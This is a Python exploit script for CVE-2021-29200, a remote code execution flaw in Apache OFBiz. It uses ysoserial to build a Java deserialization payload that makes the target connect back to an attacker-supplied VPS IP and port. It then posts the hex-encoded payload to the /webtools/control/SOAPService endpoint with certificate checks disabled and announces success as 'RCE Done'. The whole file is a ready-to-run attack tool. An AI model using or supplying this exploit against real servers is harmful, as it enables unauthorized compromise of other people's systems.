#!/usr/bin/env python # -*- coding: utf-8 -*- """ @Author: r0cky @Time: 2021/3/24-15:09 """ import subprocess import sys from urllib.parse import urlparse import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def banner(): print(""" =================================================== ____ ______ ____ _ ________ _______ / __ \| ____| _ \(_) | ____\ \ / / __ \ | | | | |__ | |_) |_ ____ | |__ \ V /| |__) | | | | | __| | _ <| |_ / | __| > < | ___/ | |__| | | | |_) | |/ / | |____ / . \| | \____/|_| |____/|_/___| |______/_/ \_\_| CVE-2021-29200 Powered by r0cky Team ZionLab =================================================== """) def exp(url, vps_ip, vps_port): popen = subprocess.Popen(['java', '-jar', 'ysoserial-stub.jar', "JRMPStubClient", "{}:{}".format(vps_ip, vps_port)], stdout=subprocess.PIPE) payload = popen.stdout.read() if len(payload) == 0: print("请在当前脚本目录放置ysoserial.jar!") exit(-1) post_data = payload.hex().upper() print("[+] Payload:", post_data) data = """ {} """.format(post_data) print("[+] payload sending...") r = requests.post(url, data=data, headers=headers, verify=False) if r.status_code == 200: print("[+] send payload success.") print() print("[END] Apache OFBiz RCE Done.") else: print("[-] send payload failed.") print() print("[END] Apache OFBiz RCE failed.") headers={"Content-Type": "text/xml"} if __name__ == '__main__': banner() try: target = sys.argv[1] vps_ip = sys.argv[2] vps_port = sys.argv[3] # target = "https://192.168.80.136:8443" # vps_ip = "10.20.28.16" # vps_port = "9999" up = urlparse(target) target = up.scheme + "://" + up.netloc url = "{}/webtools/control/SOAPService".format(target) exp(url, vps_ip, vps_port) except: print("Example: \n\tpython3 " + sys.argv[0] + " \n")